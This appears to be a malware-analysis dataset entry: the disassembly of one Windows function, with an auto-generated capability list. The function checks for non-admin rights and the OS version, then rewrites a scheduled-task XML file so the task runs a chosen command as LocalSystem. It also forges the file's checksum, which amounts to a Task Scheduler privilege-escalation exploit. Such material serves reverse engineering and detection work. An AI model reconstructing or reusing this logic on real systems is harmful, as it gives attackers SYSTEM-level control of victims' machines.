Function at 0x403440
Capabilities:
Check os version
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x914
push ebx
push esi
push edi
mov ecx, 0x8f
mov esi, str.___Principals__r_n_____Principal_id_LocalSystem___r_n_______UserId_S_1_5_18__UserId__r_n_______RunLevel_HighestAvailable__RunLevel__r_n______Principal__r_n____Principals__r_n___Actions_Context_LocalSystem___r_n_____Exec__r_n_______Command__s__Command__r_n______Exec__r_n____Actions__r_n__Task__r_n____00____r_n
lea edi, [esp + 0x6e0]
rep movsd dword es:[edi], dword [esi]
push 0x1b4
movsw word es:[edi], word [esi]
lea eax, [esp + 0x530]
push 0
mov ecx, 0x15
mov esi, str._globalroot_systemroot_system32_tasks_
lea edi, [esp + 0x4e0]
push eax
mov dword [esp + 0x20], 0
rep movsd dword es:[edi], dword [esi]
call sub.MSVCRT.dll_memset
add esp, 0xc
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x2da]
push edx
mov word [esp + 0x2dc], cx
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xd2]
push ecx
mov word [esp + 0xd4], ax
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x4038c6
lea edx, [esp + 0x30]
push edx
mov dword [esp + 0x34], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4038c6
cmp dword [esp + 0x40], 2
jne 0x4038c6
cmp dword [esp + 0x34], 6
jb 0x4038c6
lea eax, [esp + 0x2c]
push eax
call fcn.004033a0
cmp eax, 0x80004005
jne 0x4038c6
cmp dword [esp + 0x2c], 3
jne 0x4038c6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.task_d
lea ecx, [esp + 0xd0]
push 0x208
push ecx
call dword [sym.imp.MSVCRT.dll__snwprintf]
lea eax, [esp + 0xd8]
add esp, 0x10
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403560
lea edi, [esp + 0x4d8]
sub eax, edx
add edi, 0xfffffffe
jmp 0x403580
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x403580
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0x208
lea edx, [esp + 0x2d4]
mov ecx, eax
push edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0xc8]
push eax
call fcn.00402f30
test eax, eax
jne 0x4038c6
lea eax, [esp + 0x6e0]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4035d0
sub eax, edx
sar eax, 1
lea ebx, [eax + eax + 0x208]
test ebx, ebx
je 0x4038c6
lea esi, [ebx + 0x13]
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [esp + 0x10], edi
test edi, edi
je 0x4038c6
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [esp + 0x2d0]
push ecx
lea edx, [esp + 0x6e4]
push edx
push ebx
push edi
call dword [sym.imp.MSVCRT.dll__snwprintf]
add esp, 0x10
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x4f0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4038a4
xor esi, esi
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ecx, [esp + 0x18]
push ecx
push ebx
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [esp + 0x18]
test esi, esi
je 0x4038a4
lea eax, [esp + 0x6e0]
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4036a0
sub eax, edx
sar eax, 1
lea ecx, [esi + eax*2 + 0x410]
call fcn.004012f0
mov edi, eax
mov dword [esp + 0xc], edi
test edi, edi
je 0x4038a0
push 0
lea edx, [esp + 0x2c]
push edx
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
add esi, 0xfffffffe
lea eax, [edi + 2]
push esi
push eax
call fcn.00403ae0
mov esi, eax
push str._Actions
push edi
not esi
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
je 0x40387e
mov ecx, dword [esp + 0x10]
mov edi, eax
sub edi, ecx
jmp 0x403710
movzx edx, word [ecx]
mov word [edi + ecx], dx
add ecx, 2
test dx, dx
jne 0x403710
push str.00___
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
mov edi, eax
add esp, 8
test edi, edi
je 0x40387a
mov eax, dword [esp + 0xc]
add eax, 2
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403742
sub eax, edx
sar eax, 1
lea eax, [eax + eax - 0xe]
push 0
push eax
mov eax, dword [esp + 0x14]
add eax, 2
push eax
call fcn.00403ae0
not eax
mov dword [edi], eax
mov dword [esp + 0x28], edi
lea ecx, [edi + 0xc]
mov dword [esp + 0x18], 7
jmp 0x403780
movzx eax, byte [ecx + 1]
mov edx, esi
shr edx, 0x18
xor eax, dword [edx*4 + 0x456b10]
shl esi, 8
xor eax, esi
movzx esi, byte [ecx]
mov edx, eax
shr edx, 0x18
shl eax, 8
xor eax, dword [edx*4 + 0x456b10]
sub ecx, 2
xor esi, eax
dec dword [esp + 0x18]
jne 0x403780
push 0
push 0
push 0
push ebx
mov dword [edi], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, dword [esp + 0xc]
mov eax, esi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4037d0
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x2c]
push ecx
lea edx, [eax + eax]
push edx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x457444]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push 0
push eax
call edx
test eax, eax
js 0x40387a
mov eax, dword [0x457444]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push 0xffffffffffffffff
push eax
call edx
test eax, eax
js 0x40387a
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov esi, dword [esp + 0x18]
mov ecx, dword [0x457444]
mov edx, dword [ecx]
push 0
sub esp, 0x10
mov eax, esp
mov dword [eax], esi
mov esi, dword [esp + 0x30]
mov dword [eax + 4], esi
mov esi, dword [esp + 0x34]
mov dword [eax + 8], esi
mov esi, dword [esp + 0x38]
mov dword [eax + 0xc], esi
mov eax, dword [edx + 0x30]
push ecx
call eax
lea ecx, [esp + 0x18]
push ecx
mov esi, eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
test esi, esi
js 0x40387a
mov dword [esp + 0x14], 1
mov edi, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x4038a0
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x4038c6
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x4591bc]
test eax, eax
je 0x4038d7
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
mov eax, dword [0x457444]
test eax, eax
je 0x4038e8
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret